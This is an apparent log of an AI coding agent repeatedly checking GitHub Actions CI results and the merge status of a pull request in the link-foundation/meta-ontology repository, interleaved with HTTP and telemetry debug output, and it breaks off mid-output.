\u2713 Complete job\\n\u2713 Lint and Format Check in 1m2s (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Cache cargo registry\\n  \u2713 Check formatting\\n  \u2713 Run Clippy\\n  \u2713 Check file size limit\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (windows-latest) in 49s (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\n* Build Package (ID 86614016636)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  * Build release\\n  * Check package\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 2 minutes ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Lint and Format Check in 1m2s (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Cache cargo registry\\n  \u2713 Check formatting\\n  \u2713 Run Clippy\\n  \u2713 Check file size limit\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (windows-latest) in 49s (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\n* Build Package (ID 86614016636)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  * Build release\\n  * Check package\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 2 minutes ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Lint and Format Check in 1m2s (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Cache cargo registry\\n  \u2713 Check formatting\\n  \u2713 Run Clippy\\n  \u2713 Check file size limit\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (windows-latest) in 49s (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\n* Build Package (ID 86614016636)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  * Build release\\n  * Check package\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\nRefreshing run status every 3 seconds. Press Ctrl+C to quit.\\n\\n* issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 2 minutes ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Lint and Format Check in 1m2s (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Cache cargo registry\\n  \u2713 Check formatting\\n  \u2713 Run Clippy\\n  \u2713 Check file size limit\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (windows-latest) in 49s (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\n* Build Package (ID 86614016636)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build release\\n  \u2713 Check package\\n  * Post Cache cargo registry\\n  * Post Run actions/checkout@v6\\n\u2713 issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\\nTriggered via pull_request about 2 minutes ago\\n\\nJOBS\\n\u2713 Detect Changes in 58s (ID 86613875688)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Detect changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Version Modification Check in 51s (ID 86613875700)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Check for manual version changes\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Create Changelog PR (ID 86613875968)\\n\u2713 Ontology Word Coverage in 28s (ID 86613944298)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build CLI\\n  \u2713 Check word coverage of README.md\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Lint and Format Check in 1m2s (ID 86613944301)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Install rust-script\\n  \u2713 Cache cargo registry\\n  \u2713 Check formatting\\n  \u2713 Run Clippy\\n  \u2713 Check file size limit\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (ubuntu-latest) in 17s (ID 86613944392)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (windows-latest) in 49s (ID 86613944394)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n\u2713 Test (macos-latest) in 29s (ID 86613944467)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Run tests\\n  \u2713 Run doc tests\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Code Coverage in 0s (ID 86613944527)\\n- Changelog Fragment Check in 0s (ID 86613944609)\\n\u2713 Build Package in 35s (ID 86614016636)\\n  \u2713 Set up job\\n  \u2713 Run actions/checkout@v6\\n  \u2713 Setup Rust\\n  \u2713 Cache cargo registry\\n  \u2713 Build release\\n  \u2713 Check package\\n  \u2713 Post Cache cargo registry\\n  \u2713 Post Run actions/checkout@v6\\n  \u2713 Complete job\\n- Instant Release in 0s (ID 86614062343)\\n- Auto Release in 0s (ID 86614062439)\\n- Deploy Rust Documentation in 0s (ID 86614062542)\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:10:55.063Z] [INFO] \n[2026-07-12T04:10:55.097Z] [INFO] 2026-07-12T04:10:55.096255Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:10:55.097Z] [INFO] \n[2026-07-12T04:10:55.114Z] [INFO] 2026-07-12T04:10:55.114103Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:10:55.114Z] [INFO] \n[2026-07-12T04:10:55.121Z] [INFO] 2026-07-12T04:10:55.119828Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:10:55.121Z] [INFO] \n[2026-07-12T04:10:55.125Z] [INFO] 2026-07-12T04:10:55.125008Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:10:55.125Z] [INFO] \n[2026-07-12T04:10:55.237Z] [INFO] 2026-07-12T04:10:55.231976Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:10:55.237Z] [INFO] 2026-07-12T04:10:55.232103Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:10:55 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"ff719da2-c7d7-48f5-bea5-6d7892bb4280\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=bpxNCAFk8sqSA4vEZSUcbzVKM%2Fqb5K0UoUciST31KBykx4InyGXn4Mw8HQHKZRlWsCbkntCXKffVSALt9kflSIEFzgUb78QF930zGzqNRqwq7%2B5ThEfmW%2BR0M6UI\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d336e9f1365df-FRA\"} version=HTTP/1.1\n[2026-07-12T04:10:55.237Z] [INFO] \n[2026-07-12T04:10:56.589Z] [INFO] 2026-07-12T04:10:56.588996Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5313d093308191b258416e0f92d2ca\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxPQEfExEnCEk5Tz7NMe2wuhWpZoQh_73V1czYTGrIIh49FNadX9mqy8QZbKkqcO8q3ff0ABx7kuRso9hCa6frDm5F9RavIOy32EKchE73j3l--ETBEAbEPVQ64nC9qjAvOBUlGIycA7DkFxhaNuyDTRNUfspb8poKnopf6sLQEFk3KdpyW4fauXMuoz7UUyHLjgQmNSxyidBfmETLGQqSvZSoSKXbeqSKAASjo8MM2V56iQ30FlUeIXhJEoDyrmkHd8NcRshqtGvLXTCLwqEFmw2fru7tnhDTRN6pAApxoQe6O0Lood9oztc0rm3iUKLKn_AfIlxpNDVhwS4zfnWVUwcm5ozeCp4DBDW1Q0Ng9E9trZP4Eq1wt6Jl11Azd5K6l1CEkYiEu6iXqnqfPApVVZed6DCEmbgTn_8PVQ9Xt2O-qRL56xq12pa8cbZIlcIsw4a0gcA1I9Cg6DcvFIpkRagGscsc70DsR_hJArEWZ35VozCja81ghH0ucv8h5ir2BHoHFyX32icZlSIWnZNOz7GijDDAVDOakXwo3PrS8NwzSY-HYWGQ7lTXvVG64z46cL7fmusFAs1B-fvoHZfK0c4kgG8BH0G0qXgfEBamSjqTimYoOtc8lc7J3c7eIXBhnsvlMkR3n2sMW3FlTD6g8fkMw8O8WziWUdYzeuuAlqQaAmfYwjLD4_cub7GlgvRELxYTHhxVf2VZ0vi5Wualg3fkNrmXBZ05SeOc-GSYyhQyA-dwlQZvSNI0xsvRnX37ADE_lKzj2h2oOabXjBTb6v-esEPajioi0gGqtr1rfxVovSW0cSyGJvzGvGTOS3e_ndy-7-q8goqQdbF3zab01Um-z11bM6r70lZ1LHLJ7t3qWB6QEMdjTNM8I3bjK8GNFh-DrHh5LoEnp5r3O3OCnP4A==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:10:56.589Z] [INFO] \n[2026-07-12T04:10:57.379Z] [INFO] 2026-07-12T04:10:57.379141Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5313d093308191b258416e0f92d2ca\"), summary: [SummaryText { text: \"**Verifying clean PR status before merge**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxPR73vHw9O2jDIsRtiK7IZiss5UHZvww3KPrpgcZo0RgohqfIVcnLbjbMTjvqz-iLpTb9-2wNCHXblxyGPTpUfRrmg3bT_1ymsxSP_eOH1xMJlGNOJLck2YHuSgJL8u2dP7WAE7ajGlb1XK4ROUrXazz8A1h-y8EZesALpYgDDqAiE2B-tycVmZ6tKE-4P-XDbZ6zERmuR4wJOFVWOQkEsjIcQJmJADBrlqdXYHm_K5VsR64AnLpvhXi4NerhszYidtgSzJCTQ8I0Hy_x86paVflAxpN_DBURgZkzDPgUoCItlaVhAlhHjktMhYI8zIjvkjRPsH6ujiLZu-WxSN2LvmxNHOYmBi6oOBrVKh3Ke9lDJuIsXekNUw2Dn6vgOHHytr5aHQJkoAkeYkIwQiDQK3_Qk5-kOxmUR9mB9ubalJCkYKIXVvjeDCqZDlXQ2e0ImNp4wsqVt4CYt-R3c8DEONhniDYJK5ZlRdFMu7YuAEGege_zDQg1Ij36uSvwxkB7uvEKvmRLib9wTMft6SX8ShMMNHZnZZkY-fKuzWJWnYs-K0x9cqRcf7WfxV52GsDbuazuCUW7xkqG7h38G8RZf90WQ6qWI0xolMNt9Pmc-pmlI0ccC_t83ARnN-0SOx5CfMjQV78VZwBfrhJsNsE92RBhzOFtVdSDLMzdooNcJ41WrVES8rXqLp9Pz9vIXj48E9x_If9Ntm3Co8dIZQE9_tT34uaM_9Z2A5_gjTXHKDAQgQlVEAnXexDC45m0Ck_5ywPsnPOLnGyi-ZG2yZt79TbXVJJZ0vQez6LYO_NrN2YHlG5-XQuh5gtccvzmVllZGPGusicWH8Q2-xFDt47LMYT1STVpQPjYo1OstG2jfQR8A2QFPiydU9qkwX1BcFQgmm7EDEKr-FIrideTrMJBRKWMxzvndYKMm-mHHITesyfUImvFTFmfYz4Qi55FMUOX0j-L5raxuSNLPhPhcQjr88TubtPFeLpd9P6R4gU49fMUWrJ6VW_DQyS5reqUIefc3xhi4XMwoOigz98lJxTgmq4A==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:10:57.379Z] [INFO] \n[2026-07-12T04:10:57.383Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_58\",\"type\":\"reasoning\",\"text\":\"**Verifying clean PR status before merge**\"}}\n[2026-07-12T04:10:57.383Z] [INFO] \n[2026-07-12T04:10:57.384Z] [INFO] 2026-07-12T04:10:57.381125Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5313d15d54819195b9e7e0603b4882\"), status: Some(\"in_progress\"), call_id: \"call_0A3w3iUcXbngChcnlv95AOzZ\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:10:57.384Z] [INFO] \n[2026-07-12T04:11:00.315Z] [INFO] 2026-07-12T04:11:00.314531Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.exec_command({cmd:\"git status --short --branch && gh pr view 6 --repo link-foundation/meta-ontology --json url,title,isDraft,mergeable,mergeStateStatus,headRefOid,statusCheckRollup --jq '{url,title,isDraft,mergeable,mergeStateStatus,headRefOid,checks:[.statusCheckRollup[]|{name,status,conclusion}]}' && gh run list --repo link-foundation/meta-ontology --branch issue-5-e2602184e2c5 --limit 5 --json databaseId,conclusion,status,createdAt,headSha,url\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":20000}); text(r.output);\n[2026-07-12T04:11:00.315Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:11:00.315Z] [INFO] \n[2026-07-12T04:11:00.331Z] [INFO] 2026-07-12T04:11:00.330897Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5313cf1b6c8191ba615fdc94c37bc5\"\n[2026-07-12T04:11:00.331Z] [INFO] 2026-07-12T04:11:00.330939Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=97936 output_token_count=200 cached_token_count=91904 reasoning_token_count=20 tool_token_count=98136 ttft_ms=1541 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:11:00.330Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:00.331Z] [INFO] 2026-07-12T04:11:00.330962Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=97936 output_token_count=200 cached_token_count=91904 reasoning_token_count=20 tool_token_count=98136 ttft_ms=1541 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:11:00.330Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:00.331Z] [INFO] \n[2026-07-12T04:11:00.515Z] [INFO] 2026-07-12T04:11:00.512556Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-a5314137-5814-4129-93a7-2efa716bd7be decision=approved source=Config event.timestamp=2026-07-12T04:11:00.512Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:00.515Z] [INFO] \n[2026-07-12T04:11:00.682Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_59\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"git status --short --branch && gh pr view 6 --repo link-foundation/meta-ontology --json url,title,isDraft,mergeable,mergeStateStatus,headRefOid,statusCheckRollup --jq '{url,title,isDraft,mergeable,mergeStateStatus,headRefOid,checks:[.statusCheckRollup[]|{name,status,conclusion}]}' && gh run list --repo link-foundation/meta-ontology --branch issue-5-e2602184e2c5 --limit 5 --json databaseId,conclusion,status,createdAt,headSha,url\\\"\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:11:00.682Z] [INFO] \n[2026-07-12T04:11:02.374Z] [INFO] 2026-07-12T04:11:02.374228Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-a5314137-5814-4129-93a7-2efa716bd7be arguments={\"cmd\":\"git status --short --branch && gh pr view 6 --repo link-foundation/meta-ontology --json url,title,isDraft,mergeable,mergeStateStatus,headRefOid,statusCheckRollup --jq '{url,title,isDraft,mergeable,mergeStateStatus,headRefOid,checks:[.statusCheckRollup[]|{name,status,conclusion}]}' && gh run list --repo link-foundation/meta-ontology --branch issue-5-e2602184e2c5 --limit 5 --json databaseId,conclusion,status,createdAt,headSha,url\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":20000} duration_ms=1862 success=true output=Chunk ID: 8ec499\n[2026-07-12T04:11:02.374Z] [INFO] Wall time: 1.6568 seconds\n[2026-07-12T04:11:02.374Z] [INFO] Process exited with code 0\n[2026-07-12T04:11:02.374Z] [INFO] Original token count: 462\n[2026-07-12T04:11:02.374Z] [INFO] Output:\n[2026-07-12T04:11:02.374Z] [INFO] ## issue-5-e2602184e2c5...origin/issue-5-e2602184e2c5\n[2026-07-12T04:11:02.374Z] [INFO] {\"checks\":[{\"conclusion\":\"SUCCESS\",\"name\":\"Detect Changes\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SUCCESS\",\"name\":\"Version Modification Check\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SKIPPED\",\"name\":\"Create Changelog PR\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SKIPPED\",\"name\":\"Changelog Fragment Check\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SUCCESS\",\"name\":\"Lint and Format Check\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SUCCESS\",\"name\":\"Ontology Word Coverage\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SKIPPED\",\"name\":\"Code 